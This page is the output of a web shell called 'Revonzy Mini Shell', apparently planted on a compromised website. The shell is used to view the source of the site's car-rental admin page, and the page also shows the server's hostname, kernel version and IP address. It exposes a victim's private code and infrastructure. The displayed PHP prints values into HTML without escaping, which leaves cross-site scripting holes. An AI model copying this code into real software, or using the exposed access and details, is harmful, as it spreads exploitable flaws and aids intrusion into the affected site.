Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/takebusinessreviews.com/admin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/takebusinessreviews.com/admin/edit-car-rental.php

<?php
	require_once("lib/functions.php");
	$db = new login_function();
	
	$flag	=	0;
    $edit_id =  "";
if(isset($_GET['edit_id'])){
    $edit_id = $_GET['edit_id'];
    $_SESSION['edit_id'] = $edit_id;  
}
 $edit_id	 = $_SESSION['edit_id'];

 if(isset($_POST['company_name']))
	{
		
		$company_name	        = $_POST['company_name'];
	    $name1		            = "";
	    $address  		        = $_POST['address'];
	    $contact_1	            = $_POST['contact_1'];
		 $contact_2		        = $_POST['contact_2'];
	    $contact_3			    = "";
		 $contact_4				= "";
		 $company_address		= "";
		 $GST_no		        = "";
        $phone_no1		        = "";
        $contact_person1		= "";
        $phone_no2		        = "";
        $contact_person2		= "";
        $phone_no3		        = "";
        $contact_person3		="";
        $phone_no4		        = "";
        $contact_person4		= "";
        $other1		            = "";

        $city  		         = $_POST['city'];
	    $available_cars	     = $_POST['available_cars'];
		 $traverller_name    = $_POST['traverller_name'];


 if($db->update_car_rental_details($company_name,$name1,$address,$contact_1,$contact_2,$contact_3,$contact_4,$company_address,$GST_no,$phone_no1,$contact_person1,$phone_no2,$contact_person2,$phone_no3,$contact_person3,$phone_no4,$contact_person4,$other1,$city,$available_cars,$traverller_name,$edit_id))
 {
     $flag = 1;
 }

    
}

    $recorded_data = array();

    $recorded_data = $db-> get_car_rental_detals_from_id($edit_id);

    //print_r($recorded_data);

    if(!empty($recorded_data))
    {	

        $id                     =$recorded_data[0];
        $company_name	        =$recorded_data[1];
        $name1		            =$recorded_data[2];
        $address  	            =$recorded_data[3];
        $contact_1	            =$recorded_data[4];
        $contact_2		        =$recorded_data[5];
        $contact_3		        =$recorded_data[6];
        $contact_4				=$recorded_data[7];
        $photo                  =$recorded_data[8];
        $company_address 		=$recorded_data[9];
        $GST_no		            =$recorded_data[10];
        $phone_no1		        =$recorded_data[11];
        $contact_person1		=$recorded_data[12];
        $phone_no2		        =$recorded_data[13];
        $contact_person2		=$recorded_data[14];
        $phone_no3		        =$recorded_data[15];
        $contact_person3		=$recorded_data[16];
        $phone_no4		        =$recorded_data[17];
        $contact_person4		=$recorded_data[18];
        $other1		            =$recorded_data[19];
        $date		            =$recorded_data[20];
        $time		            =$recorded_data[21];

        $city		            =$recorded_data[22];
        $available_cars		    =$recorded_data[23];
        $traverller_name		 =$recorded_data[24];
        
    }
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width initial-scale=1.0">
    <title>Update Car Rental Details</title>
    <!-- GLOBAL MAINLY STYLES-->
    <link href="css/bootstrap.min.css" rel="stylesheet" />
    <link href="css/font-awesome.min.css" rel="stylesheet" />
    <link href="css/line-awesome.min.css" rel="stylesheet" />
    <link href="css/themify-icons.css" rel="stylesheet" />
    <link href="css/animate.min.css" rel="stylesheet" />
    <link href="css/toastr.min.css" rel="stylesheet" />
    <link href="css/bootstrap-select.min.css" rel="stylesheet" />
	<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css">
  
    <!-- THEME STYLES-->
    <link href="css/main.min.css" rel="stylesheet" />
	<link href="datatable/datatables.min.css" rel="stylesheet" />

	<link href="css/animate.css" rel="stylesheet" type="text/css" media="all">
	<script src="js/wow.min.js"></script>
	<script>
	function validateForm() {
	  var a = document.forms["myForm"]["customer_name"].value;
	  var c = document.forms["myForm"]["primary_contact"].value;
	 
	 if (a == "") {
		alert("Enter Customer Name");
		return false;
	  }
	 
	  if (c == "") {
		alert("Enter Mobile Number");
		return false;
	  }
	  
	}
	</script>
	

</head>
<body class="fixed-navbar">
  
<div class="page-wrapper" style="min-height:500px;">
<?php include('header.php'); ?>
<?php include('side-bar.php'); ?>
<div class="content-wrapper">
<div class="page-content fade-in-up">
				<?php
					if($flag == 1)
					{
					?>
					<div class="alert alert-success">

                    Car Rental Details Updated Successfully.
						</div>
					<?php
					}
					if($flag == 2)
					{
					?>
					<div class="alert alert-warning">

						Failed to Add.
						</div>
					<?php
					}
					?>

<div class="ibox" style="border-radius:5px; padding:7px;">

<div class="ibox-body" style="padding:7px; padding-top:0px;">

<form class="form-pink" method="post" action="<?php echo $_SERVER['PHP_SELF']?>" name="myForm" onsubmit="return validateForm()" autocomplete="off" enctype="multipart/form-data">
		
		<div class="ibox-head">
			<div class="ibox-title"><i class="fas fa-user-tie" style="margin-right:10px;"></i>Update Car Rental Details</div>
		</div>
		
		<div class="ibox-body">
			<div class="row">
				
            <div class="col-lg-3">
                                    <div class="form-group">
                                    <label  class="form-label">Contact Person Name/संपर्क व्यक्ति नाव</label>
                                       <input type="text" name="company_name" class="form-control" placeholder=" " value="<?php echo $company_name ?>" />
                                    </div>
                                 </div>
								 <br/>
                                <div class="col-lg-3">
                                    <div class="form-group">
                                    <label  class="form-label">Contact Person Number/संपर्क व्यक्तीचे नंबर</label>
                                       <input type="number" name="contact_1" class="form-control" placeholder=" " value="<?php echo $contact_1 ?>" />
                                    </div>
                                 </div>

								 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label  class="form-label">WhatsApp Number/व्हाटसप्प नंबर</label>
                                       <input type="number" name="contact_2" class="form-control" placeholder=" " value="<?php echo $contact_2 ?>" />
                                    </div>
                                 </div>
								 
								 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label  class="form-label">City/शह</label>
                                       <input type="text" name="city" class="form-control"  placeholder=" " value="<?php echo $city ?>" />
                                    </div>
                                 </div>
								 
								 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label  class="form-label">Office/Home Address (ऑफिस/घरचा पत्ता)</label>
                                       <input type="text" name="address" class="form-control"  placeholder=" " value="<?php echo $address ?>" />
                                    </div>
                                 </div>

                                 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label  class="form-label">Available Cars/उपलब्ध कार</label>
                                       <!-- <input type="number" name="contact_3" class="form-control"  placeholder=" " value="<?php echo $contact_3 ?>" /> -->
                                       <select name="available_cars" id="available_cars" class="form-control">
                                       <option value="Select cars" <?php if($available_cars=="Select cars"){?> selected <?php }?>>Select cars</option>
                                        <option value="1" <?php if($available_cars=="1"){?> selected <?php }?>>1</option>
                                            <option value="2" <?php if($available_cars=="2"){?> selected <?php }?>>2</option>
                                            <option value="3" <?php if($available_cars=="3"){?> selected <?php }?>>3</option>
                                            <option value="4" <?php if($available_cars=="4"){?> selected <?php }?>>4</option>
                                            <option value="5" <?php if($available_cars=="5"){?> selected <?php }?>>5</option>
                                            <option value="6" <?php if($available_cars=="6"){?> selected <?php }?>>6</option>
                                            <option value="7" <?php if($available_cars=="7"){?> selected <?php }?>>7</option>
                                            <option value="8" <?php if($available_cars=="8"){?> selected <?php }?>>8</option>
                                            <option value="9" <?php if($available_cars=="9"){?> selected <?php }?>>9</option>
                                            <option value="10" <?php if($available_cars=="10"){?> selected <?php }?>>10</option>
                                        </select>
                                    </div>
                                 </div>

            

                                 <div class="col-lg-3">
                                    <div class="form-group">
                                    <label  class="form-label">Company Name/प्रवासी नाव</label>
                                       <input type="text" name="traverller_name" class="form-control"  placeholder=" " value="<?php echo $traverller_name ?>" />
                                    </div>
                                 </div>


		

                                 <br/>
                                 <br/>

                     </div>

                  </div>
				<div class="col-sm-12 form-group mb-12" style="text-align:center; padding-left:0px; padding-right:0px; padding-top:20px;">
					<div class="col-sm-4 form-group mb-4" style="margin:auto;">
						<button class="btn btn-pink btn-air" type="submit" name="add" style="width:100%;">Update Car Rental Details</button>
					</div>
                    <center><a href="car-rental-reg-report.php" style="color:red;font-weight:bold;">Back To List</a></center>
				</div>
			</div>
                
		</div>
	</form>
</div>
</div>
<?php include('footer.php'); ?>
</div>
    </div>
    <?php //include('search.php'); ?>
   
    <div class="sidenav-backdrop backdrop"></div>
    <div class="preloader-backdrop">
        <div class="page-preloader">Loading</div>
    </div>
    
    <script src="js/jquery.min.js"></script>
    <script src="js/popper.min.js"></script>
    <script src="js/bootstrap.min.js"></script>
    <script src="js/metisMenu.min.js"></script>
    <script src="js/jquery.slimscroll.min.js"></script>
    <script src="js/idle-timer.min.js"></script>
    <script src="js/toastr.min.js"></script>
    <script src="js/jquery.validate.min.js"></script>
    <script src="js/bootstrap-select.min.js"></script>
	<script src="datatable/datatables.min.js"></script>
    <script src="js/app.min.js"></script>
	
</body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4